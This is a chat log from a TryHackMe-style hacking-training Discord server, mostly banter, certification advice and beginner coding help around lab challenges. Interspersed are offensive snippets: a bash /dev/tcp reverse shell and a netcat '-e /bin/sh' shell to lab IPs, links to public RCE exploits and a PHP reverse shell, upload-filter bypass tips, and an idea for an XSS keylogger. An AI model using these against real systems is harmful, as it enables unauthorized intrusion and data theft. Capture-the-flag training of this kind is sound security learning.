omg the voice channel
#voice-chat
pearl ether
plucky vault
Will that be considered as a team solving.
tame ether
I left
plucky vault
Muiri?
plucky vault
Will that be considered as a team solving.
@full sapphire
tame ether
you not blooding this?
nah
rugged valley
plucky vault
You need to verify FF0000
lyric halo
wicked viper
You need to verify FF0000
and how to get verified
sour sonnet
Muiri, can i dm you rq?
full sapphire
Go for it 🙂
boreal portal
hahhahahaha
full sapphire
DM me if that's true 😆
tame ether
full sapphire
Nope. Intended method. Well done Ziemni!
tardy beacon
wtf is going on here
lyric halo
@shell spear wthh
shell spear
👀
lyric halo
wtf is going on here
the OSCP giveaway event 👀
lyric halo
guys
This is an active challenge, no spoilers for 1 week look at the pinned messages in #835202386455953438
sour sonnet
rottweiler/chihuaua lmao we rescued him. even got the dna test to prove it as too many people didn't believe us
upper tangle
hi
lyric halo
hi
toxic talon
Hola
forest python
@midnight fern this one? https://github.com/00theway/Ghostcat-CNVD-2020-10487
tame ether
forest python
Warning: big spoiler
rustic roost
has anyone here by chance completed Trace on VHL ?
visual wyvern
midnight fern
supple trellis
javac Shell.java; jar -cf Shell.jar Shell.class @midnight fern
midnight fern
❤️ @full sapphire
elder oyster
oh oh
sour sonnet
wouldn't 0day's mom be the true 0day? there from the beginning?
midnight fern
wouldn't 0day's mom be the true 0day? there from the beginning?
hahah so true
full sapphire
timber drift
steel ether
Where is cmnootic
steady stump
awkward silence..
steady stump
quarentine got me socially handicapped
you're not alone brotha
elder oyster
this years gone fast
elder oyster
feels like im buying xbox live every other day xd
unkempt minnow
@limpid badger Geoguessr
elder oyster
'im in the ghetto... ratatata'
steady stump
whutt 😂
plucky vault
tfw cant remember any of the jelly hints 
topaz ferry
Game Show Host 😄
elder oyster
-__-
topaz ferry
Master CMN. Master tester. 💜
olive spire
@quiet needle will u start streaming on twitch again? 😄
hot snow
No idea where that is 
sour sonnet
how do you win?
sour sonnet
above greece i though
elder oyster
yeah it was around kosovo / servia
olive spire
ye tru
quiet needle
sorry just eating
quiet needle
<@!106094485129162752> will u start streaming on twitch again? 😄
Yess I plan to (: idk when tbh!
I need to make an effort into it
olive spire
Yess I plan to (: idk when tbh!
yes, i loved watching ur stream u making rooms etc
it was fun
elder oyster
paste link of game @hot snow
elder oyster
gg
lithuania
u missed a flag xd
side of the road, there was flag in the washing line
or whatever it was
tardy beacon
@quiet needle u a cutie
elder oyster
hot + english + italian look = malta
quiet needle
<@106094485129162752> u a cutie
👉 👈
elder oyster
algeria if not spain
croatia?
@hot snow
germany possibly
that 100% said .gh, try ghana
yee
its russia
italy
i think it loads the google maps link for less than a second in inspect
brazil
plucky vault
i think it loads the google maps link for less than a second in inspect
but das no fun
elder oyster
but das no fun
ik, someone asked 'i wonder if you can find ...' xd
full sapphire
man a thm podcast really would be great
I reckon we can arrange that 😁
lyric halo
The PapasShell podcast coming right at ya
limpid badger
@golden socket yoyo bro are you still there?!?!
wheat otter
lofty moat
https://tryhackme.com/games/koth/23147
That's a spectators link, if you want people to join you will have to share invite link.
wheat otter
got it
wheat rune
plucky vault
@dense kernel what are you doing?
So you have honeypot setup on whose system/network?
dense kernel
Digital Ocean droplet that I own
young walrus
dense kernel
tmux set -g mouse on
plucky vault
have a fun guys
dense kernel
stuck juniper
cheers
plucky vault
@bright wyvern what are you looking for in Event Viewer?
bright wyvern
@plucky vault im i doing this right? lol
plucky vault
<@456226577798135808> im i doing this right? lol
For port check task scheduler
And check clean file system
hot snow
!docs verify
trim cloudBOT
TryHackMe
outer sky
<@!783969206957375508> ^
hwo
hot snow
Click on the link I sent
outer sky
where
hot snow
here
plucky vault
@bright wyvern now what you're looking for?
plucky vault
<@456226577798135808> the attackers ip address
You mind checking /etc/hosts
Of windows
plucky vault
i dont know how to do that bro
You were on the right tract you missed something
Observation
plucky vault
Why there is 2 google domain with same IP address? @bright wyvern don't you find that fishy
bright wyvern
shoulda seen it
bright wyvern
Why there is 2 google domain with same IP address? <@722308219850194985> don't y...
i dont really get why they would do that, to hide it?
plucky vault
To stay hidden just as you missed a victim can also miss that
bright wyvern
To stay hidden just as you missed a victim can also miss that
hmmm
bright wyvern
To stay hidden just as you missed a victim can also miss that
good thing to look out for next time
thank you
plucky vault
@bright wyvern check desktop applications
When you setup a firewall you set some rules
Check from where you can see those rules
In*****d rules
Inbound
Incoming traffic on a weird local port
Have you watched Mr.Robot?
1337
Inbound rules
@bright wyvern
Inbound rules looks after incoming traffic
bright wyvern
i still dont know how to find it
plucky vault
That is some weird port number used
And it was recent
You messed up while filtering or sorting
@bright wyvern what web server does Microsoft uses as default
@azure jackal m
?
azure jackal
what?
bright wyvern
@plucky vault thanks for all the help
dire jacinthBOT
Gave +1 Rep to @exotic thunder
plucky vault
@bright wyvern Where you stuck at?
bright wyvern
@plucky vault i need to figure out how or what website the attacker attacked
plucky vault
<@456226577798135808> i need to figure out how or what website the attacker atta...
didn't you got that earlier?
Yes why would you add that to your hosts then
bright wyvern
@plucky vault ah man thanks
dire jacinthBOT
Gave +1 Rep to @exotic thunder
plucky vault
just don't learn while you are stressed out
Congrats on 0xD
welcome to #advanced-general
@bright wyvern
bright wyvern
<@!722308219850194985>
dude you're awesome you are great help
ionic olive
Didn't realised my mic was on lol
fossil estuary
@plucky vault your mic is really loud. tag me when you have it fixed and ill unmute you 🙂
plucky vault
<@456226577798135808> your mic is really loud. tag me when you have it fixed and...
sorry about that
fossil estuary
sorry about that
no worries 😄
elder oyster
Malware analysis?
topaz ferry
I prefer brisket noises on an open fire.
bright wyvern
@golden socket getting shower and something to eat be back
golden socket
kk same
indigo pendant
yo
plucky vault
Naughty something for defense part in koth? Resources?
lofty moat
@distant garnet sessions -i 0
distant garnet
oh thanks
lofty moat
Naughty something for defense part in koth? Resources?
uhmm idk about the specific resource that would be useful for koth..
just patch the low hanging fruits and look for other possible ways in. and patch the backdoors.
that would be the most common stuff to do
rustic drift
@quiet knot u need to use a wordlist from gobuster
quiet knot
yea i know
dense kernel
Naughty something for defense part in koth? Resources?
I have a short script that has some blue-team utilities, its moreso meant for IDS rather than IPS but its easy to add onto
unkempt wave
if someone want to play. https://tryhackme.com/games/koth/join/ffe53b33021baf4611a5d307
plucky vault
Thanks @dense kernel @lofty moat
dire jacinthBOT
Gave +1 Rep to @dense kernel
rocky crypt
ho to verify?
plucky vault
!docs verify
trim cloudBOT
TryHackMe
plucky vault
@rocky crypt
rocky crypt
@plucky vault bro can i inbox u?
plucky vault
Yea sure
dapper kiln
hey
plucky vault
@azure jackal i know it
Not the only way
but one of the
basic to go for ftp first
but you got usernames?
or you don't?
What usernames you got n0n1m0us?
plucky vault
you read the note correctly?
azure jackal
sure
ebon blade
nmap -sV -sC IP
elder oyster
@unkempt minnow you making a box?
oh oh
that would've been cool to have a box like that, have a couple products around your sites and hide parts of flags in the images
😂
yeah that OhSint box was fun
xd social engineering is easy, 1. have confidence 2. convince yourself what you're saying is true 3. have fun
plucky vault
@unkempt minnow Can you have a check on koth? if that's allowed or not?
or koth staff is the staff should i contact with first
?
elder oyster
your the best mod
elder oyster
dont you know goku!
pokemon is the only good anime that i will actually sit and watch
the box is a bit buggy tbh, i think most people got thrown off with shelling, none of my shells were connecting
full sapphire
the box is a bit buggy tbh, i think most people got thrown off with shelling, no...
Which box?
elder oyster
Jellyfish
@unkempt minnow you hear about the train they making in london? london euston to paris
i have a caravan, ill go drive down their on the weekend and show you guys
dapper kiln
hey@plucky vault
digital relic
!docs verify
trim cloudBOT
TryHackMe
chrome peak
The keyboard sound is so loud lol
chrome peak
I don't even hear it now
The thing is, I wanna see the AttackBox
Oops
Hide the URL @plucky vault
It leaks the attackbox credentials lol
chrome peak
Hello @plucky vault
They're not talking
It is missing some tools?
You can install them with
apt install
or you can basically
search them on internet
download the deb file
then do dpkg -i on it
@plucky vault
Also it'll be good because you'll learn how to customize machine
How to set it up
and stuff
plucky vault
What's going on here?
chrome peak
@plucky vault The order of them does not matter
It is like
nc -lnvp
nc -nlvp
nc -lvnp
whatever you're comfortable with
there's no difference between
ls -la and ls -al
@night crow
write !/bin/sh in the smb, it gets shell according to the gtfobins
Awww
@night crow
Try writing any command (e.g whoami)
It might not be giving a good shell
I gave an example though, he's using a SQL module
Just try to run something
@night crow He meant C
sql_svc
Y guys even specify IP?
@plucky vault
mysql -u username -h my.application.com -p password
plucky vault
mysql -h 166.78.144.191 -u username -p password
chrome peak
I don't do alot of SQL stuff, but why don't you just do show databases;? or something
Nevermind
I wonder what Hades is doing
keen terrace
negus
chrome peak
Nice terminal @plucky vault
quiet knot
@thick mirage type here
thick mirage
bright thistle
@plucky vault https://github.com/theRealFr13nd/CVE-2019-16278-Nostromo_1.9.6-RCE try this one
limber jasper
lmao esqy xD
lyric halo
Ich kann nicht sprechen
English please
pulsar smelt
helooooooo
restive flax
helooooooo
heya
lyric halo
😦
limber jasper
lmaoo
pulsar smelt
oh gosh
fallow brook
🥳 Esqy and Animo time
remote oyster
Lets go Animo!!!!!
fallow brook
or rather, Pizzaboi and Amibo
limber jasper
pulsar smelt
podcast letsgo
ember torrent
pulsar smelt
https://cdn.discordapp.com/attachments/707941804195971095/818012662570418176/ima...
kat
void egret
Nice exactly on time!!
lyric halo
❤️
pulsar smelt
congrats papashell
void egret
true, papashell is awesome!
fallow brook
not as hard as mentoring me though 😄
pulsar smelt
is this going to be recorded?
fallow brook
I'll work hard
pulsar smelt
sorry i gtg :/
limber jasper
rip
pulsar smelt
baiiiiii
ember torrent
Cya cat
limber jasper
civic shell
haha
obtuse moss
are we solving something like ctf in exam?
topaz ferry
Hello everyone. 🙂
obtuse moss
hi
restive flax
hey tim
fallow brook
Tim! Never giving up worked!
candid gust
If you could compare a THM rank with the amount of skill needed for the eJPT which rank would it be? If every THM rank had a “set” skill level.
void egret
No muiri type labs
civic shell
😆
void egret
@full sapphire Hear what you did to Esqy 😮
fallow brook
Well to be fair.. looking for "hiding obscure stuff" is what gets you everytime
wary grail
sorry, i joined late - talking about eJPT?
void egret
Metasploit for the win xD
fallow brook
sorry, i joined late - talking about eJPT?
ye
void egret
Bruteforce ? xD
full sapphire
<@!650476435269484549> Hear what you did to Esqy 😮
What did I do to Esqy..?
void egret
Bruteforce you way through eJPT xD
wary grail
you used John Hammond?
one of the biggest tools in infosec
open ivy
Sounds too ez
fallow brook
What did I do to Esqy..?
he's traumatized by your room
remote oyster
Nice question
wary grail
wow that came out wrong
open ivy
I'm bad at sqli
lyric halo
I'd link them to Badges and not to actual level
void egret
What did I do to Esqy..?
He was so scared of rabbit holes while doing the eJPT
full sapphire
he's traumatized by your room
Same, tbh
tulip zephyr
🥔
topaz ferry
Question: What rooms would you recommend as preparation for eJPT? 🙂
fallow brook
one of the biggest tools in infosec <:kekw:658061932577816606>
I didn't say that.. I love John Hammond he's a great lad
fallow brook
Question: What rooms would you recommend as preparation for eJPT? 🙂
Blue?
wary grail
I didn't say that.. I love John Hammond he's a great lad
I mean tool as in actual tool not as an insult
fallow brook
I mean tool as in actual tool not as an insult
sorry, could be read in a very trolly way
😄
wary grail
Right after I said it I was like uhhh ohh
candid gust
I want to take the eJPT and I’ve done the beginner path and some ctfs, thanks!
void egret
I also heard that the blackboxes that INE offer is way harder then you need to know ?
lyric halo
Wreath ftw
fallow brook
Wreath would be everything you need really
void egret
Wreath was really fun
open ivy
Would I have to sweat if I sleep few hours during the exam?
void egret
Would I have to sweat if I sleep few hours during the exam?
I hope you sleep in those 72 hours ;p
open ivy
restive flax
What was the hardest part in the exam for you?
remote oyster
How many machines is the exam?
fallow brook
That's a great point... ppl who learn here exclusively will not be used to seeing routers and other devices on a network
How do I get Animmos synced to my nintendo switch?
Sorry I'm tired ...
remote oyster
That's a great point... ppl who learn here exclusively will not be used to seein...
Yes that is the feeling I have
sour sonnet
would you recommend codeacademy for learning the basics of SQL or Python?
civic shell
haha
wary grail
I've heard eJPT isn't the best for career options, is that a myth or do you have anything to add against?
civic shell
That's cool to know, I've only come into this a couple months ago
void egret
I've heard eJPT isn't the best for career options, is that a myth or do you have...
It is an entree level exam, it will maybe open the first door but def not the last
Def second
fallow brook
ESQY is right....
steel ether
meiterpreiter
ember torrent
Ah! Meter Peter
hollow cape
miterpreter my favourite tool
tawdry oar
Ah! Meter Peter
meta PETA
tawdry oar
they terminate 93% of their revshells
shy basin
Question: What resources other than the INE course do you recommend?
Question2: Are there any thm rooms or paths you recommend?
void egret
School do suck
wary grail
@unkempt minnow Follow up: eJPT alone is good enough for a foot in the door would you say?
$200 not a lot?
hollow cape
comparing to oscps 1000$ its nothing
wary grail
I find certs hard to afford priced in USD as a Canadian even
shy basin
Like the eJPT is one of the cheapest certifications on the market
tawdry oar
i'm enrolled into CEH v11 atm and after this i'm planning on taking eJPT
wary grail
Thank you for the detailed responses! Appreciated it mates ❤️
tawdry oar
@limpid badger social networking or social engineering 🤣 ?
should we try both
plucky vault
Elearn wont self market itself vs the oscp as it stands. Its up to u to articulate ur skills in that conversation (interview)
void egret
That way I got my first job xD
shy basin
@limpid badger @unkempt minnow What certifications are you thinking about getting in the future?
hollow cape
fair enough 🙂
fallow brook
@unkempt minnow come do OSCP with me
shy basin
For how long is the eJPT valid? Haven't seen it anywhere
slender kayak
Aloooo
fallow brook
OSCP gang must survive
ember torrent
I'll get there void. Eventually
slender kayak
and then, suddenly, OSCE
fallow brook
I'll get there void. Eventually
let's goooo! 😄
wary grail
Free retakes are amazing, even as a nervous test taker it eases the stress 1000%
slender kayak
Free retakes are amazing, even as a nervous test taker it eases the stress 1000%
On the other side it decreases the level
restive flax
How much networking do you need for EJPT / OSCP?
plucky vault
Oscp does have pivoting cus 5 boxes ofc
civic shell
Yeah it was great to listen to
lyric halo
what u guys doing for next @unkempt minnow @limpid badger
cert wise
I was AWAY
I JUST CAME BACK
ember torrent
XD
heavy flower
😆
limber jasper
lol
hollow cape
😆
fallow brook
@limpid badger how relevant were your geoguessr skills for eJPT
remote oyster
xd
fallow brook
Jellyfiiiiiiiiisssh
civic shell
XD
lyric halo
No spoilers on jellyfish or 
fallow brook
I've gotten TOO FAR
steel ether
stuck juniper
fallow brook
slender kayak
Still year of the jellyfish competition running?
ember torrent
slender kayak
Is still*
slender kayak
Ohoh
steel ether
lets have them
tawdry oar
ENUMERATE
thorn sleet
got it to work, after going bald by ripping all my hair out
tulip zephyr
oh god its eating my brain
lyric halo
I know but I won't say
steel ether
The animals aint happy. They dont get the year as a whole. Muiri releases the next animal within months
lyric halo
Because cheaters are still there
stuck juniper
god, how are you going to go about removing the cheaters :(
lyric halo
god, how are you going to go about removing the cheaters :\(
We already know most of them 😉
heavy flower
god, how are you going to go about removing the cheaters :\(
Shift + del
sleek shore
when you find the foothold you bang your head against the wall - it is really simple 😄
sleek shore
wrong way around 😄
stuck juniper
fallow brook
it is the way
topaz ferry
Stay positive. Stay classy. 😎
ember torrent
thorn sleet
ripping your hair out 1 by 1 stimulate your brain
civic shell
😆
fallow brook
Just make sure to....
limpid badger
steel ether
lyric halo
exactly 24 hours left
fallow brook
Muiri dropped a lot of EVIL hints all over the event 😄
shy basin
ember torrent
Esqy it's worth to you
full sapphire
Muiri dropped a lot of EVIL hints all over the event 😄
Not once did I say something that wasn't true
stuck juniper
why waste your time listening to the archives, when you can
steel ether
Muiri dropped a lot of EVIL hints all over the event 😄
like root.txt is in the root dir?
thorn sleet
smarter == stonks
tawdry oar
Muiri dropped a lot of EVIL hints all over the event 😄
he got 3 death threats that day for that hahahaha
civic shell
Listen while enumerating XD
fallow brook
Not once did I say something that wasn't true
I'm not gonna argue this while the challenge is running 😄
heavy flower
😈
full sapphire
he got 3 death threats that day for that hahahaha
Tbf, one of the death threats was for giving someone (false) hope after he'd gone to bed, then taking it away as soon as he was back at his computer
fallow brook
We had a bunch of fun ppl at jellyfish, trying stuff out. We gained some great new ppl around 😄
ember torrent
Tbf, one of the death threats was for giving someone (false) hope after he'd gon...
Smh
dense kernel
for the older and more experienced infosec people - always try to be the person you wish you had when you were learning this stuff
shy basin
@unkempt minnow Do you know if there's and age limit on the eJPT exam?
fallow brook
Be excellent to others.. .costs you nothing. Only benefits 🙂
sleek shore
for the older and more experienced infosec people - always try to be the person ...
who do you call old 😛
tawdry oar
Be excellent to others.. .costs you nothing. Only benefits 🙂
exactly bro 😄
tawdry oar
ember torrent
slender kayak
@unkempt minnow starting from thm and this community and getting into infosec for real is incredible
stuck juniper
youngest we've had here is 13 right?
dense kernel
who do you call old 😛
do you remember dial-up modems? :p
thorn sleet
It was quite nice to work together on cooctus with overflow and evan and others, was quite motivating
tulip zephyr
12 Am
tawdry oar
12
tulip zephyr
ish
fallow brook
our kid is best kid
full sapphire
youngest we've had here is 13 right?
I hope so. Any younger breaks ToS
stuck juniper
youngest we've had who's claimed the role ;)
full sapphire
No, as in, anyone younger breaks Discord ToS
fallow brook
ok ok ok.. he's the BEST THM's official kid
full sapphire
You have to be 13 to sign up for a Discord account
fallow brook
Bzzzz
steel ether
Have you ever heard of MeowCrypt? Nay/Yay
*** Submit Hint
fallow brook
beautiful Dev!
slender kayak
Don’t be a developer
steel ether
SO thats a yes
fallow brook
name that haaasssh
thorn sleet
we have to protect him at all cost
fallow brook
ciphey!
steel ether
shush
steel ether
fallow brook
it's all "I want it to be faster"..
I wanted to crack hashes faster
I wanted to nmap faster
I wanted to crack ciphers faster
ember torrent
Talk over
fallow brook
that's the common denominator 😄
thorn sleet
i have my oral defense for school so i won't be able to make it
fallow brook
there was
royal knot
overlayfs
topaz ferry
Splunk 101 room is brand new. 🙂
tawdry oar
that CVE was working on my old ubuntu vm
covert venture
bruh i just got here
civic shell
It was great to tune in and listen thanks!
thorn sleet
yessss that's the confidence we want
tulip zephyr
<@!192619849447505920> don't try it on jellyfish
Is there a specific reason?
fallow brook
I liked the Animmo bits
tulip zephyr
or will it go brrr cuz its Public?
sleek shore
thank for a good chat.
candid gust
It was great!
hot snow
bruh i just got here
Same
stuck juniper
animmo cam?
hot snow
I only just got here 
ember torrent
fallow brook
Is there a specific reason?
see what muiri said a bout it
restive flax
Thanks for the talk 😄
covert venture
byeee
remote oyster
Nice chat!!!
heavy flower
Thanks
hollow cape
Thanks 
heavy flower
Byeeeeee
civic shell
Thanks
wary grail
Thank you! ❤️
candid gust
Byee
tulip zephyr
see what muiri said a bout it
Gotta find it.Brb
tawdry oar
Goodbye
tulip zephyr
Thanks
ember torrent
Thaaanks
steel ether
Wood
fallow brook
Thanks for the company
heavy flower
plucky vault
Thanks!
tulip zephyr
oh wait, did muiri talked about it in his Talk with JH???
slender kayak
anyone playing a big koth?
ember torrent
oh wait, did muiri talked about it in his Talk with JH???
There were some hints
If you mean jf
tulip zephyr
yeah
ember torrent
Yup
tulip zephyr
i am gonna bang my head in here for a while, then will check out the hints..
stuck juniper
@tulip zephyr interesting rank hmm
sour sonnet
@dense kernel what up my man?
dense kernel
yo yo
tulip zephyr
<@!311919809895858177> interesting rank hmm
ember torrent
Esqy wholesome
unkempt wave
I need to leave the koth game. I will play the next one if someone want to.
Cya
was fun to listen to the talk btw animmo and esqy
ember torrent
Take a compliment when it's deserved :3
tawny jungle
Very wholesome indeed
ember torrent
heavy flower
Undercover
dapper kiln
hey
hot snow
Hey
dense kernel
dense kernel
2>/dev/null
crimson cypress
how do you join the voice chats
manic canyon
trim cloudBOT
TryHackMe
crimson cypress
Thanks
full sapphire
Please don't ping the admins of a 55,000 user server if it's not extremely urgent...
dapper kiln
sorry @full sapphire
full sapphire
There's a link literally two messages up. Follow that to verify 🙂
dapper kiln
link 🔗??
full sapphire
mighty junco
@craggy linden can i dm u
quiet knot
yea hahaha
slender oracle
uwu
unkempt wave
#!/bin/bash
bleak jacinth
ethernet?
pearl ether
dude if you were on linux you could just do apt install python3 if it wasnt already installed
pythen? wtf is that? lol
i dont think i have ever heard anyone so excited about printing hello world
unkempt wave
i dont think i have ever heard anyone so excited about printing hello world
ahaha
glossy hare
pythen
pearl ether
there is a time to live for ips. so it will take longer then 5 minutes. but yes if you have it running for most of the day and then you unplug it and then plug it in a minute later then it will probably get a new ip.
glossy hare
pearl ether
same goes for your residential connection. its dynamic. the TTL is usually a couple days around here. if you have it running for a few days and then unplug your router from the internet and then plug it back it should get a new ip.
it makes it harder to trace back
@drowsy snow Python not pythen
lol
of course
@drowsy snow make a dice roller
use that as reference and google and stackoverflow is your friend
put it back
drowsy snow
import random
min = 1
max = 6
roll_again = "yes"
while roll_again == "yes" or roll_again == "y":
print "Rolling the dices..."
print "The values are...."
print random.randint(min, max)
print random.randint(min, max)
roll_again = raw_input("Roll the dices again?")
import random
min = 1
max = 6
roll_again = "yes"
while roll_again == "yes" or roll_again == "y":
print("Rolling the dices...")
print("The values are....")
print(random.randint(min, max))
print(random.randint(min, max))
roll_again = input("Roll the dices again?")
true i forgot... next time
pearl ether
hello world
pearl ether
you can do it anywhere in the message and you just it again after the code to come out of the code block like this
the one below esc
drowsy snow
Xx_Hackerman_xX
pearl ether
so
```import random
min = 1
max = 6
roll_again = "yes"
while roll_again == "yes" or roll_again == "y":
print("Rolling the dices...")
print("The values are....")
print(random.randint(min, max))
print(random.randint(min, max))
roll_again = input("Roll the dices again?")\`\`\`
@unkempt wave
pearl ether
will do
min = 1
max = 6
roll_again = "yes"
while roll_again == "yes" or roll_again == "y":
print("Rolling the dices...")
print("The values are....")
print(random.randint(min, max))
print(random.randint(min, max))
roll_again = input("Roll the dices again?")```also when you are in a code block pressing enter will make a new line
pearl ether
@drowsy snow google is your friend for coding. 50% or more is learning how to search for stuff
tired gust
You can also specify the langauge for nice formatting
pearl ether
true i forgot about that
so for python you do ```py
at the start
import random
min = 1
max = 6
roll_again = "yes"
while roll_again == "yes" or roll_again == "y":
print("Rolling the dices...")
print("The values are....")
print(random.randint(min, max))
print(random.randint(min, max))
roll_again = input("Roll the dices again?")```for formatting pythion in discord
tired gust
import random
min = 1
max = 6
roll_again = "yes"
while roll_again == "yes" or roll_again == "y":
print("Rolling the dices...")
print("The values are....")
print(random.randint(min, max))
print(random.randint(min, max))
roll_again = input("Roll the dices again?"
you need a new line after py
tired gust
Yep
pearl ether
so
tired gust
Although discord mobile doesn’t seem to format
pearl ether
```py
import random
min = 1
max = 6
roll_again = "yes"
while roll_again == "yes" or roll_again == "y":
print("Rolling the dices...")
print("The values are....")
print(random.randint(min, max))
print(random.randint(min, max))
roll_again = input("Roll the dices again?")\`\`\`
dorking is searching google
@drowsy snow its all illegal unless you have permission.
in terms of accessing computers
i daily drive Linux
kubuntu
@drowsy snow when you have user input you have to escape the input. it basically adds slashes to the input to escape the input
@drowsy snow use virtual box
use kubuntu 20.10
its on that page
https://kubuntu.org/getkubuntu/ and click 64 bit download for kubuntu 20.10
yeah
its ubuntu but with kde interface
which is the best ubuntu
yeah that about right
share your screen
im at work. lol
install virtual box
the first link
yeah. you download the iso and then basically insert it into its virtual disk drive and install it
so download and install https://www.virtualbox.org/
fly pei
what?
im still learning. i do web development for work so i would like to know more about exploits and stuff
mostly php and js/jquery
wtf is happening
its based off js
php iself is pretty secure for the size of it
what?
where did everyone go?
what do you mean scripting?
crimson cypress
<script>alert();</script>
pearl ether
yeah thats js
in the ()?
oh. alert is a message box that comes up where you press ok.
you need the () because its a function
i havent gotten a whole lot into XSS yet.
cross site scripting
X S S
not off hand. its hard because browsers are pretty strict. you basically have to get it sent from the server
then again i havent done any yet
if you can get the server to send it then you can use ajax to send information to another server
ajax is for requests
if you can get the server to send the code you can keylog and stuff.
yeah
you just make a script that will send each key stroke through ajax
what kind of things?
well alert will only show a message
oh. i see
you you want to display a table?
well sql wont do that. unless some part of the query output is being echoed onto the page
oh. so what query are you using to get user info out of it?
like what are you putting into the field
to get it to output it
sure
graceful crow
man someone please change that server of general voice im getting 300 pings :(((
bright wyvern
@golden socket
Cuban black beans w garlic & herb chicken w baby bell peppers
& riceeeee
rancid coral
smells good!!
plucky vault
@lyric halo Fawaz forgot to congratulate you for being mod🙋🏻♂️
lyric halo
ty 😄
bright wyvern
smells good!!
it was delish
eternal monolith
has any one check the page 🙂
sacred gale
rustic drift
did anyone ask for a voice changer?
lyric halo
Me and Esqy watched the same shows
elder oyster
revshells saves so much time for me
void egret
plucky vault
Esqy you never guided me this much...you instead suggested me a room to learn @unkempt minnow
formal garnet
@dense kernel from where do u find such questions?
dense kernel
<@!320305132321505284> from where do u find such questions?
default Anki community decks
plucky vault
<@!320305132321505284> from where do u find such questions?
+1
formal garnet
ty
formal garnet
default Anki community decks
questions?
dense kernel
wdym? the decks come with question and answers on each side of the card
formal garnet
so i install and i get those questions?
dense kernel
yep they have like a marketplace you can browse and add questions, theres some good ones
plucky vault
Crypto101 series too @unkempt minnow
rockyou cheated on me today.... 😦 GoldenEye room
What was the answer for the overflow?
C'mon @unkempt minnow
@dense kernel @distant bronze @unkempt minnow
@dense kernel @distant bronze @unkempt minnow
@dense kernel @distant bronze @unkempt minnow
distant bronze
yes
dense kernel
?
unkempt minnow
@plucky vault Please don't spam us
royal knot
bet it's a question on how to join vc
plucky vault
bet it's a question on how to join vc
Guess what? you won
plucky vault
@unkempt minnow why aren't the archives updated? for your's and Animmo?
for Career talk....atleast a boost
fiery delta
Sorry joined a little late, what did I miss about eJPT?
I'm planning to give it next month
plucky vault
@unkempt minnow you have any idea when does the monthly leaderboard gets reset?
fiery delta
Did you guys learned about the new tcm-cert?
mighty pendant
fierce gale
True 😂, In India companies will give you reimbursement for CEH exam but not for eJPT or OSCP.
plucky vault
am sick of hearing how people here in my country avoid cyber sec and not consider it as important
@plucky vault completely on your side
void egret
tiny sedge
xDDD
plucky vault
@unkempt minnow here there are generalized category
software developer
Business + Tech
Business
@plucky vault top grades + you need to score excellent in GRE
plucky vault
@limpid badger is making his own army
gathering troops
@unkempt minnow So today i.e 1st of May... i will complete my 100 days of THM and my streak and learning
elder oyster
@plucky vault try this
bash -i >& /dev/tcp/10.10.19.213/9001 0>&1
@plucky vault check if that server has netcat
from rce
plucky vault
o hahaha
elder oyster
in the rce
plucky vault
i'm tring it now
elder oyster
okay
elder oyster
I have an idea, maybe start a python http.server, then have a php reverse shell uploaded, then curl to it via the rca
rce
maybe that would work
or nc 172.16.1.100 1234 -e /bin/sh
^ on the rce
@plucky vault what box? ill try
elder oyster
i see it
plucky vault
it's source
lyric halo
What’s happening here
tiny sedge
f my Internet.
unkempt wave
brb
sour sonnet
don't y'all say "bruv" across the pond?
plucky vault
@lost prism which?
plucky vault
@lost prism if you don't mind can i dm you later?
lost prism
nah i don't mind
plucky vault
nah i don't mind
is that a NO or YES?
crimson cypress
How
mighty junco
can i dm u @rotund stag
rotund stag
can i dm u <@764325997813694464>
yeah sure 😊
eternal monolith
@plucky vault sup
plucky vault
what do you have to say
plucky vault
How about only 1 .jpg extension
instead of multiple
complicating things not always help
@plucky vault
@plucky vault the server side filter is detecting your application type
shell.jpg
will do the work
@plucky vault
bright thistle
@limpid badger https://www.cyberciti.biz/faq/howto-use-grep-command-in-linux-unix/ check this
tiny sedge
very funny guy
unkempt wave
drowsy snow
@unkempt minnow join VC
errant spire
how i can join VC?
errant spire
how i can got it?
unkempt wave
!docs verify
trim cloudBOT
TryHackMe
errant spire
❤️
plucky vault
where can i promote my stuff
unkempt minnow
What stuff?
tulip zephyr
🥔
blazing reef
daring island
hot snow
You need to verify
hot snow
!docs verify
trim cloudBOT
TryHackMe
outer sky
!docsa verify
hot snow
Follow the link above
outer sky
!docs verify
trim cloudBOT
TryHackMe
hot snow
Click the link and follow the instructions
blazing reef
unzip zip
sweet pewter
disallowed in robots.txt kenshiro and then look at a few extensions
extensions meaning stuff like .php
check out portal.jpg
and extensions
stuck juniper
you might need sudo on the nmap command no?
sweet pewter
ive completed this room you might want to try looking at the assets closely
stuck juniper
I think we're just enumerating the machine fully before we try anything?
sweet pewter
@unkempt minnow you dont ssh with those creds you need to check out a login portal with php
then you have to make sure you dont just cat the file now you try less specific no need for rev shell at all @unkempt minnow
dont use cat
try a workaround to read a file
NOT CAT use less @unkempt minnow
com' on esqy
L3SS
try to find .ssh or something
use ls -la @unkempt minnow
try to find .ssh id_rsa
ohh yeah kekw
cd .. can be used to go back a dir @drowsy snow
but try ls -la ..
topaz ferry
How about cd ~ 🥳
sweet pewter
:0xD god smile:
keep https://github.com/pentestmonkey/php-reverse-shell/blob/master/php-reverse-shell.php in your mind if revshells.com doesnt work @drowsy snow
nc <your ip> 9001 @drowsy snow